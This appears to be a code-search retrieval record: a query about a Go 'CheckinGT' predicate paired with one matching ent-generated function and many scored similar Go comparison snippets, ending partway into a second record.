59598482900f5284ce16128979cd6152
CheckinGT applies the GT predicate on the "Checkin" field.
[ { "docid": "e2675c4d2fc56e9d4061a782c44ac450", "score": "0.8117137", "text": "func CheckinGT(v time.Time) predicate.Books {\n\treturn predicate.Books(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldCheckin), v))\n\t})\n}", "title": "" } ]
[ { "docid": "4dfed60a74d372b7da65f5b74e754dd1", "score": "0.7533266", "text": "func CheckoutGT(v time.Time) predicate.Books {\n\treturn predicate.Books(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldCheckout), v))\n\t})\n}", "title": "" }, { "docid": "8cbf02391a6ec3db24b10821fbdf96de", "score": "0.65409607", "text": "func Gt(field string, value interface{}) *Expression {\n\treturn &Expression{Type: GT, Parts: []interface{}{field, value}}\n}", "title": "" }, { "docid": "fbc86a6e236833039cb28ea2d89b4d64", "score": "0.6360523", "text": "func AllergicGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAllergic), v))\n\t})\n}", "title": "" }, { "docid": "fbc86a6e236833039cb28ea2d89b4d64", "score": "0.6360523", "text": "func AllergicGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAllergic), v))\n\t})\n}", "title": "" }, { "docid": "bb1a43e151f1c8057fff739654fce036", "score": "0.6348162", "text": "func TagGT(v string) predicate.SysLogging {\n\treturn predicate.SysLogging(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldTag), v))\n\t})\n}", "title": "" }, { "docid": "63072aa1605f734902b6002b45dacd83", "score": "0.6333041", "text": "func DailyIntakeGT(v int32) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldDailyIntake), v))\n\t})\n}", "title": "" }, { "docid": "9f142233be79650cfa88297e4d9d9d43", "score": "0.63221717", "text": "func IsbnGT(v string) predicate.Item {\n\treturn predicate.Item(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldIsbn), v))\n\t})\n}", "title": "" }, { "docid": "4167aa3d2452a3ba6dcb7763625d71bf", "score": "0.6312965", "text": "func Gt(a, b *Node, retSame bool) (*Node, error) {\n\top := newElemBinOp(gtOpType, a, b)\n\top.retSame = retSame\n\treturn binOpNode(op, a, b)\n}", "title": "" }, { "docid": "5dd3ac814e0ea7d5da9d9ce3f745308a", "score": "0.62986904", "text": "func InTimeGT(v time.Time) predicate.Roomuse {\n\treturn predicate.Roomuse(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldInTime), v))\n\t})\n}", "title": "" }, { "docid": "f47c0ec27e3ee607fca2265fc6cbc724", "score": "0.6293016", "text": "func StatusGenGT(v string) predicate.Pointkycrv {\n\treturn predicate.Pointkycrv(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStatusGen), v))\n\t})\n}", "title": "" }, { "docid": "d7e75c29e0bd4cd892ec9ca8dd871071", "score": "0.62720644", "text": "func CheckinGTE(v time.Time) predicate.Books {\n\treturn predicate.Books(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldCheckin), v))\n\t})\n}", "title": "" }, { "docid": "7ed5aaa3fee86f33290ea004a1714bb8", "score": "0.6246437", "text": "func AccountnumberGT(v string) predicate.Orderonline {\n\treturn predicate.Orderonline(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAccountnumber), v))\n\t})\n}", "title": "" }, { "docid": "0c36d05a6463fe146d9a269f3ef0f5aa", "score": "0.6178855", "text": "func StockGT(v int) predicate.Orderonline {\n\treturn predicate.Orderonline(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStock), v))\n\t})\n}", "title": "" }, { "docid": "732c6a2835342ddb56627a95c13ead24", "score": "0.61750865", "text": "func CvvGT(v string) predicate.Orderonline {\n\treturn predicate.Orderonline(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldCvv), v))\n\t})\n}", "title": "" }, { "docid": "833a8385b6446da55d4825e31b8a4f7d", "score": "0.61727977", "text": "func (f *Field) GT(n int) *PQLRowQuery {\n\treturn f.binaryOperation(\">\", n)\n}", "title": "" }, { "docid": "a7f6ed06d59b60fb9847c86abd20441e", "score": "0.61628485", "text": "func (f *Field) GT(n IntOrFloat) *PQLRowQuery {\n\treturn f.binaryOperation(\">\", n)\n}", "title": "" }, { "docid": "35744b177e483bdfc2fd4e03984416d2", "score": "0.61302805", "text": "func WalletIDGT(v string) predicate.Pointkycrv {\n\treturn predicate.Pointkycrv(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldWalletID), v))\n\t})\n}", "title": "" }, { "docid": "eb6238f02940f64131f91eeacb3c992d", "score": "0.60966825", "text": "func PriceGT(v int32) predicate.Item {\n\treturn predicate.Item(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "37b8f2469fc7c88ce7057068ab8af2ac", "score": "0.6075911", "text": "func StatusGT(v int8) predicate.Todo {\n\treturn predicate.Todo(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStatus), v))\n\t})\n}", "title": "" }, { "docid": "b347d37ec36494f0ae1fc884fdbc6b0d", "score": "0.607145", "text": "func UpdatorGT(v string) predicate.Demo {\n\treturn predicate.Demo(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUpdator), v))\n\t})\n}", "title": "" }, { "docid": "397ace40f778f0b73895967d66d6f227", "score": "0.6071128", "text": "func LabelGT(v string) predicate.GithubAsset {\n\treturn predicate.GithubAsset(sql.FieldGT(FieldLabel, v))\n}", "title": "" }, { "docid": "ada6dcb9eac35ffbb525746b6ce591cb", "score": "0.60655147", "text": "func CongenitalGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldCongenital), v))\n\t})\n}", "title": "" }, { "docid": "5630aa26d546dfbaa840d58dd47180dc", "score": "0.60579914", "text": "func TagNameGT(v string) predicate.Tag {\n\treturn predicate.Tag(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldTagName), v))\n\t})\n}", "title": "" }, { "docid": "bf4f5eacb9afc15308fcb4b05703b240", "score": "0.6051144", "text": "func Gt(lval, rval float64) bool {\n\treturn lval > rval\n}", "title": "" }, { "docid": "49ddf00f25326c8900582217a65c562d", "score": "0.6050963", "text": "func UpdatedWithGT(v string) predicate.Person {\n\treturn predicate.Person(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUpdatedWith), v))\n\t})\n}", "title": "" }, { "docid": "bddc8944ba3a2d509de694752d0dc73b", "score": "0.60443354", "text": "func RunbookGT(v string) predicate.Recommendations {\n\treturn predicate.Recommendations(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldRunbook), v))\n\t})\n}", "title": "" }, { "docid": "6dfb910133d1ffb4b6690af391f42a5a", "score": "0.60312057", "text": "func RegionGT(v string) predicate.History {\n\treturn predicate.History(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldRegion), v))\n\t})\n}", "title": "" }, { "docid": "7f20ccfcdcad1a2cd4422bf3f7326aed", "score": "0.60009855", "text": "func NumberGT(v string) predicate.Card {\n\treturn predicate.Card(sql.FieldGT(FieldNumber, v))\n}", "title": "" }, { "docid": "75563435a1f9c8b5eba6458878c9cab6", "score": "0.5994066", "text": "func ApproveByGT(v string) predicate.Configarea {\n\treturn predicate.Configarea(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldApproveBy), v))\n\t})\n}", "title": "" }, { "docid": "e04243b519e95ec11d1f287337354dc8", "score": "0.5991497", "text": "func Gt(v interface{}) Func {\n\treturn numericalMatch(\">\", v)\n}", "title": "" }, { "docid": "2ed73957e501f12eba30a02a90b614fb", "score": "0.59897834", "text": "func PriceGT(v int) predicate.Deal {\n\treturn predicate.Deal(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "12d1d5a8ff9e2d75d77eff00abca173e", "score": "0.59883434", "text": "func LikesGT(v int) predicate.Experience {\n\treturn predicate.Experience(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldLikes), v))\n\t})\n}", "title": "" }, { "docid": "b3b4646c1807aaa0b863e36c4559fc0a", "score": "0.59878886", "text": "func PriceGT(v float64) predicate.Variant {\n\treturn predicate.Variant(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "69b246b98adc550e45bb222130f3db49", "score": "0.5983045", "text": "func StockNumGT(v int) predicate.GoodsSku {\n\treturn predicate.GoodsSku(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStockNum), v))\n\t})\n}", "title": "" }, { "docid": "fd8d2a8484ea636ef12f0709256449e9", "score": "0.5980199", "text": "func Gt(column string, value interface{}) *stmt.Condition {\n\treturn Op(\">\", column, value)\n}", "title": "" }, { "docid": "d106e9665bfcae7ce0d46b19e0130e3c", "score": "0.597653", "text": "func CreditGT(v int) predicate.Course {\n\treturn predicate.Course(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldCredit), v))\n\t})\n}", "title": "" }, { "docid": "b02b481bf1bf9cda48fc4e75a6c6d855", "score": "0.5968335", "text": "func NameGT(v string) predicate.Ticket {\n\treturn predicate.Ticket(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "62b6ba710d1d84e4583913eb7a907a6e", "score": "0.59582573", "text": "func (e Exp) Gt(operand interface{}) Exp {\n\treturn naryOperator(greaterThanKind, e, operand)\n}", "title": "" }, { "docid": "d4811db0b60f633dfbdb1251ad3cf9ff", "score": "0.5939973", "text": "func Gt(value interface{}) *Comparison {\n\treturn &Comparison{adapter.NewComparisonOperator(adapter.ComparisonOperatorGreaterThan, value)}\n}", "title": "" }, { "docid": "fb7daa201947956a1c1b8462c59fba2b", "score": "0.59383225", "text": "func FieldGT(name string, v any) P {\n\treturn &BinaryExpr{\n\t\tOp: OpGT,\n\t\tX: &Field{Name: name},\n\t\tY: &Value{V: v},\n\t}\n}", "title": "" }, { "docid": "c34beb6f6907c90a047609dbcfca1073", "score": "0.59323335", "text": "func GT(v values.Sortable) *Greater {\n\treturn &Greater{Value: v}\n}", "title": "" }, { "docid": "9044063517d83c09a6990ea2c1083f71", "score": "0.5931432", "text": "func PriceGT(v int) predicate.GoodsSku {\n\treturn predicate.GoodsSku(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "3423cad946d4592b80813e9b362ec1f9", "score": "0.5925986", "text": "func AddressGT(v string) predicate.Profile {\n\treturn predicate.Profile(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAddress), v))\n\t})\n}", "title": "" }, { "docid": "9ea115804b8d6b0082ee4970d5ca9c5a", "score": "0.59223914", "text": "func TagsGT(v string) predicate.Timer {\n\treturn predicate.Timer(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldTags), v))\n\t})\n}", "title": "" }, { "docid": "402c5c86099b50085bc8f523796873fc", "score": "0.59198964", "text": "func PriceGT(v float64) predicate.DataRoom {\n\treturn predicate.DataRoom(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "8ba3ba6a2f818b7b1620ec572a81db55", "score": "0.59150505", "text": "func PressureGT(v float64) predicate.TriageResult {\n\treturn predicate.TriageResult(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPressure), v))\n\t})\n}", "title": "" }, { "docid": "f91be6689fe5fe612f41e1498ab51b83", "score": "0.59070563", "text": "func AgeGT(v int) predicate.Model {\n\treturn predicate.Model(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAge), v))\n\t})\n}", "title": "" }, { "docid": "5b4825e6812050a45fb20a2b634fe011", "score": "0.590651", "text": "func CheckinLTE(v time.Time) predicate.Books {\n\treturn predicate.Books(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldCheckin), v))\n\t})\n}", "title": "" }, { "docid": "e7f7586fab341e959c862ce5b3bca562", "score": "0.59062696", "text": "func NameGT(v string) predicate.Item {\n\treturn predicate.Item(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "9caefd7463417168cc228edc5d3c36bb", "score": "0.59050596", "text": "func BillingstatusnameGT(v string) predicate.Billingstatus {\n\treturn predicate.Billingstatus(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldBillingstatusname), v))\n\t})\n}", "title": "" }, { "docid": "abb3fdc5f1c8b1e592f7543a0076a067", "score": "0.59049714", "text": "func AnnotationGT(v string) predicate.Course {\n\treturn predicate.Course(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAnnotation), v))\n\t})\n}", "title": "" }, { "docid": "7a7902c6715e106e433d9baa62d97fd5", "score": "0.5904522", "text": "func ZipCodeGT(v string) predicate.Configarea {\n\treturn predicate.Configarea(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldZipCode), v))\n\t})\n}", "title": "" }, { "docid": "c7d7810fa151a62df6ab75781550527e", "score": "0.59043944", "text": "func SubDistrictNameTHGT(v string) predicate.Configarea {\n\treturn predicate.Configarea(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldSubDistrictNameTH), v))\n\t})\n}", "title": "" }, { "docid": "7bd6324eff3d3e6a0a6982d66012214a", "score": "0.5875262", "text": "func StatusGT(v int) predicate.Demo {\n\treturn predicate.Demo(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStatus), v))\n\t})\n}", "title": "" }, { "docid": "d2e1b6c178e05d7636003bc6785f91ad", "score": "0.58711714", "text": "func NameGT(v string) predicate.Variant {\n\treturn predicate.Variant(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "33ef7a345cf703a0d171815a75abe9b0", "score": "0.58646333", "text": "func IPGT(v string) predicate.History {\n\treturn predicate.History(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldIP), v))\n\t})\n}", "title": "" }, { "docid": "2d3d70c8c3bab917b95605cf95b6518e", "score": "0.5860092", "text": "func ValueGT(v int) predicate.Node {\n\treturn predicate.Node(sql.FieldGT(FieldValue, v))\n}", "title": "" }, { "docid": "681694e3e515e7028086ee6a685ef4b3", "score": "0.5857191", "text": "func SymptomGT(v string) predicate.TriageResult {\n\treturn predicate.TriageResult(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldSymptom), v))\n\t})\n}", "title": "" }, { "docid": "575eec7c748f73a63223988cbc95aae9", "score": "0.5856917", "text": "func PointGT(v int) predicate.Pointkycrv {\n\treturn predicate.Pointkycrv(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPoint), v))\n\t})\n}", "title": "" }, { "docid": "48eea4445bc0c67ac9adc0651f35b586", "score": "0.5848824", "text": "func StockQuantityGT(v int32) predicate.Item {\n\treturn predicate.Item(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldStockQuantity), v))\n\t})\n}", "title": "" }, { "docid": "18f3badf4c6ef15b4fd485367ce4395f", "score": "0.58421975", "text": "func NameGT(v string) predicate.DUser {\n\treturn predicate.DUser(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "9fb5480bd976673099d2d09be5b1772e", "score": "0.5838998", "text": "func OperatorGT(v string) predicate.Logger {\n\treturn predicate.Logger(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldOperator), v))\n\t})\n}", "title": "" }, { "docid": "6ba7c71388d36c7864f48b4d38664299", "score": "0.58340865", "text": "func StateGT(v string) predicate.GithubAsset {\n\treturn predicate.GithubAsset(sql.FieldGT(FieldState, v))\n}", "title": "" }, { "docid": "0bc03008d4546928f82afcdfd593596a", "score": "0.5827521", "text": "func NameGT(v string) predicate.File {\n\treturn predicate.File(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "b3aa3951de0a2b61ead2f094ad99f859", "score": "0.5824842", "text": "func UsedGT(v int) predicate.Recommendations {\n\treturn predicate.Recommendations(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUsed), v))\n\t})\n}", "title": "" }, { "docid": "6fcfef9db0c49d50d15a7f4463d2314e", "score": "0.58185875", "text": "func UpdatedAtGT(v time.Time) predicate.GoodsSku {\n\treturn predicate.GoodsSku(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUpdatedAt), v))\n\t})\n}", "title": "" }, { "docid": "0c03c4e3b6e7165c2d3dd3376e6cc2b9", "score": "0.5814802", "text": "func GT(x, y Expr) P {\n\treturn &BinaryExpr{\n\t\tOp: OpGT,\n\t\tX: x,\n\t\tY: y,\n\t}\n}", "title": "" }, { "docid": "0f374dcfa823c7dbdcdcb4694bbdada5", "score": "0.58131766", "text": "func DataGT(v string) predicate.SysLogging {\n\treturn predicate.SysLogging(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldData), v))\n\t})\n}", "title": "" }, { "docid": "1a109d1c8b618c46ed9eb40124cd64a8", "score": "0.58088577", "text": "func IntGT(v int) predicate.FieldType {\n\treturn predicate.FieldType(sql.FieldGT(FieldInt, v))\n}", "title": "" }, { "docid": "d912df7623785b432f2087700dcbab52", "score": "0.5805028", "text": "func ProvinceNameTHGT(v string) predicate.Configarea {\n\treturn predicate.Configarea(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldProvinceNameTH), v))\n\t})\n}", "title": "" }, { "docid": "9f435d93dc03f8cb764c1f15fcadf758", "score": "0.5800986", "text": "func RegisteredAtGT(v time.Time) predicate.Car {\n\treturn predicate.Car(sql.FieldGT(FieldRegisteredAt, v))\n}", "title": "" }, { "docid": "ee224578a5e36aa458bcd3828aef711c", "score": "0.5796762", "text": "func AmountGT(v float64) predicate.Transfer {\n\treturn predicate.Transfer(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAmount), v))\n\t})\n}", "title": "" }, { "docid": "cbfc6f7d074eb0865d26dfbb9cd77157", "score": "0.5795414", "text": "func NameGT(v string) predicate.Model {\n\treturn predicate.Model(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "23db41c81839a1b45ff1db9393ff68cc", "score": "0.57862294", "text": "func PublishedAtGT(v time.Time) predicate.Post {\n\treturn predicate.Post(sql.FieldGT(FieldPublishedAt, v))\n}", "title": "" }, { "docid": "f597bc384a45131c93b05e3b01586137", "score": "0.57826215", "text": "func PriceGT(v float64) predicate.Promotion {\n\treturn predicate.Promotion(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPrice), v))\n\t})\n}", "title": "" }, { "docid": "f4bfca2bfa7955aa115194f68b2bb07c", "score": "0.5777002", "text": "func WeightGT(v float32) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldWeight), v))\n\t})\n}", "title": "" }, { "docid": "8d9302281116a928391f6bcbb69d701b", "score": "0.57766414", "text": "func IdentifiantGT(v string) predicate.Admin {\n\treturn predicate.Admin(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldIdentifiant), v))\n\t})\n}", "title": "" }, { "docid": "e89b7281b1f75a405a887952be9e579b", "score": "0.57683533", "text": "func Gt(lattr string, rattr string) Criterion {\n\tml := Mapper.MapInt(lattr)\n\tmr := Mapper.MapInt(rattr)\n\tp := func(r *Record) bool { return ml(r) > mr(r) }\n\treturn Criterion{p}\n}", "title": "" }, { "docid": "8ffdad5d64159e0c58d1002714f8880c", "score": "0.5759947", "text": "func OutTimeGT(v time.Time) predicate.Roomuse {\n\treturn predicate.Roomuse(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldOutTime), v))\n\t})\n}", "title": "" }, { "docid": "4745c28cc142f202ad227643940dd209", "score": "0.57548684", "text": "func MemoGT(v string) predicate.SysLogging {\n\treturn predicate.SysLogging(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldMemo), v))\n\t})\n}", "title": "" }, { "docid": "2ebc934492777c9e7229cd35cb510037", "score": "0.5754489", "text": "func BigIntGT(v schema.BigInt) predicate.FieldType {\n\treturn predicate.FieldType(sql.FieldGT(FieldBigInt, v))\n}", "title": "" }, { "docid": "0c68e933d4bedc3ecf76f5da2d2f47e9", "score": "0.5752278", "text": "func FiltersGT(v string) predicate.ExportTask {\n\treturn predicate.ExportTask(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldFilters), v))\n\t})\n}", "title": "" }, { "docid": "9b57c05dd81cac9bac198a17ae8cd64e", "score": "0.57482463", "text": "func IPGT(v net.IP) predicate.FieldType {\n\tvc := []byte(v)\n\treturn predicate.FieldType(sql.FieldGT(FieldIP, vc))\n}", "title": "" }, { "docid": "526cc2383a67d0dabd3051d67f0066e4", "score": "0.57472676", "text": "func UIDGT(v int64) predicate.Deal {\n\treturn predicate.Deal(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUID), v))\n\t})\n}", "title": "" }, { "docid": "74db27573fb3cb9229af6384934a1676", "score": "0.5747244", "text": "func (self *AttributeNode) Gt(other interface{}) *GreaterThanNode {\n\treturn GreaterThan(self, other)\n}", "title": "" }, { "docid": "58bea26d89b44cc7f6f10f1f33bb6482", "score": "0.5743618", "text": "func TransactionsGT(v int32) predicate.BarRecord {\n\treturn predicate.BarRecord(sql.FieldGT(FieldTransactions, v))\n}", "title": "" }, { "docid": "1b84ee8e3bca57cc1995764dba44010c", "score": "0.57391053", "text": "func LogGT(v string) predicate.Logger {\n\treturn predicate.Logger(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldLog), v))\n\t})\n}", "title": "" }, { "docid": "f534a5f437c2498e88381b972d066bcc", "score": "0.5728308", "text": "func IsGt(_ context.Context, field interface{}, param interface{}) bool {\n\tvalue := reflect.ValueOf(field)\n\ttyp := reflect.TypeOf(field)\n\tok := validator.IsGt(nil, ignoreValue, ignoreValue, value, typ, value.Kind(), convertParam(param))\n\treturn ok\n}", "title": "" }, { "docid": "53387fb6a49f810f6b0b52f5e7cb4ad7", "score": "0.57266724", "text": "func NameGT(v string) predicate.Connector {\n\treturn predicate.Connector(sql.FieldGT(FieldName, v))\n}", "title": "" }, { "docid": "8c3b275f68c477c4d689d7484829dc15", "score": "0.5726259", "text": "func IDGT(id int) predicate.Billingstatus {\n\treturn predicate.Billingstatus(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldID), id))\n\t})\n}", "title": "" }, { "docid": "5a67924d9c2926735918196546d2ff9d", "score": "0.57229334", "text": "func NameGT(v string) predicate.ResourcePool {\n\treturn predicate.ResourcePool(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "abc98736f055366b6fafeeab11dede66", "score": "0.5717878", "text": "func YearGenerationGT(v string) predicate.Profile {\n\treturn predicate.Profile(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldYearGeneration), v))\n\t})\n}", "title": "" }, { "docid": "dd654569edde0292644fc7feb138ebd7", "score": "0.5715537", "text": "func NoteGT(v string) predicate.Roomuse {\n\treturn predicate.Roomuse(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldNote), v))\n\t})\n}", "title": "" }, { "docid": "c59f41b0d3859eeef14ca01d65b37cc2", "score": "0.57012427", "text": "func IdennumGT(v string) predicate.RightToTreatment {\n\treturn predicate.RightToTreatment(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldIdennum), v))\n\t})\n}", "title": "" }, { "docid": "387fd73715388a93cbc9007bafd79c5c", "score": "0.5700856", "text": "func NameGT(v string) predicate.Campaign {\n\treturn predicate.Campaign(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "e28cfe46f9047d83d9bc047e346f2739", "score": "0.57001", "text": "func NameGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldName), v))\n\t})\n}", "title": "" }, { "docid": "9c9380fc50c3d736997856e82169ced3", "score": "0.5696466", "text": "func UserIDGT(v string) predicate.SysLogging {\n\treturn predicate.SysLogging(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldUserID), v))\n\t})\n}", "title": "" }, { "docid": "4b7653a6d81242a66a6be2152b481b4b", "score": "0.5694663", "text": "func (view *View) buildInFuncGt(value, other interface{}) bool {\n\ts1 := gconv.String(value)\n\ts2 := gconv.String(other)\n\tif gstr.IsNumeric(s1) && gstr.IsNumeric(s2) {\n\t\treturn gconv.Int64(value) > gconv.Int64(other)\n\t}\n\treturn strings.Compare(s1, s2) > 0\n}", "title": "" }, { "docid": "0a89d6067fe4f491bd0ec4a0a9aa7a89", "score": "0.5693041", "text": "func AddressGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAddress), v))\n\t})\n}", "title": "" }, { "docid": "0a89d6067fe4f491bd0ec4a0a9aa7a89", "score": "0.5693041", "text": "func AddressGT(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldAddress), v))\n\t})\n}", "title": "" } ]
14d0096c20e3d9fa6d2454f1ccca95c7
Person is a representation of a person
[ { "docid": "e33e4defb532526d5cbc07f6f940998d", "score": "0.0", "text": "func (p *ReligionItem) Prepare() {\n\tp.ID = 0\n\tp.Name = html.EscapeString(strings.TrimSpace(p.Name))\n\tp.Image = html.EscapeString(strings.TrimSpace(p.Image))\n\t//p.Notes = p.Notes\n\tp.CreatedAt = time.Now()\n\tp.UpdatedAt = time.Now()\n}", "title": "" } ]
[ { "docid": "d5e3a711b88b2fcce150f35f7ab4ed8d", "score": "0.68821055", "text": "func (r *Resolver) Person() server.PersonResolver { return &personResolver{r} }", "title": "" }, { "docid": "d2f33c135aacfd7362a87c419dbdda17", "score": "0.676516", "text": "func (ec *executionContext) _Person(ctx context.Context, sel []query.Selection, obj *Person) graphql.Marshaler {\n\tfields := graphql.CollectFields(ec.Doc, sel, personImplementors, ec.Variables)\n\n\tout := graphql.NewOrderedMap(len(fields))\n\tfor i, field := range fields {\n\t\tout.Keys[i] = field.Alias\n\n\t\tswitch field.Name {\n\t\tcase \"__typename\":\n\t\t\tout.Values[i] = graphql.MarshalString(\"Person\")\n\t\tcase \"id\":\n\t\t\tout.Values[i] = ec._Person_id(ctx, field, obj)\n\t\tcase \"name\":\n\t\t\tout.Values[i] = ec._Person_name(ctx, field, obj)\n\t\tcase \"birthYear\":\n\t\t\tout.Values[i] = ec._Person_birthYear(ctx, field, obj)\n\t\tcase \"eyeColor\":\n\t\t\tout.Values[i] = ec._Person_eyeColor(ctx, field, obj)\n\t\tcase \"gender\":\n\t\t\tout.Values[i] = ec._Person_gender(ctx, field, obj)\n\t\tcase \"hairColor\":\n\t\t\tout.Values[i] = ec._Person_hairColor(ctx, field, obj)\n\t\tcase \"height\":\n\t\t\tout.Values[i] = ec._Person_height(ctx, field, obj)\n\t\tcase \"mass\":\n\t\t\tout.Values[i] = ec._Person_mass(ctx, field, obj)\n\t\tcase \"skinColor\":\n\t\t\tout.Values[i] = ec._Person_skinColor(ctx, field, obj)\n\t\tcase \"homeworld\":\n\t\t\tout.Values[i] = ec._Person_homeworld(ctx, field, obj)\n\t\tcase \"films\":\n\t\t\tout.Values[i] = ec._Person_films(ctx, field, obj)\n\t\tcase \"species\":\n\t\t\tout.Values[i] = ec._Person_species(ctx, field, obj)\n\t\tcase \"vehicles\":\n\t\t\tout.Values[i] = ec._Person_vehicles(ctx, field, obj)\n\t\tcase \"createdAt\":\n\t\t\tout.Values[i] = ec._Person_createdAt(ctx, field, obj)\n\t\tcase \"editedAt\":\n\t\t\tout.Values[i] = ec._Person_editedAt(ctx, field, obj)\n\t\tdefault:\n\t\t\tpanic(\"unknown field \" + strconv.Quote(field.Name))\n\t\t}\n\t}\n\n\treturn out\n}", "title": "" }, { "docid": "07bbb0640486c365d96d3e53e7d3e13b", "score": "0.6542345", "text": "func NewPerson() *Person {\n\treturn person\n}", "title": "" }, { "docid": "8c6064b93a21ebf3228c316931f0ece2", "score": "0.6386785", "text": "func (r *resolver) Person(args struct{ ID graphql.ID }) *personResolver {\n\tif p := peopleData[args.ID]; p != nil {\n\t\treturn &personResolver{p}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "af8ecfaafcadeb314fedbf2905da2ce3", "score": "0.63702965", "text": "func NewPerson() *Person {\n\treturn &Person{}\n}", "title": "" }, { "docid": "f503c477bc14c28f524d498b422dce97", "score": "0.6343889", "text": "func (p person) printPerson() {\n\tfmt.Println(p)\n}", "title": "" }, { "docid": "37258797541c3d0b537e80c8ffc04637", "score": "0.62683296", "text": "func (p Person) MarshalJSON() ([]byte, error) {\n\tp.Type = TypePerson\n\tobjectMap := 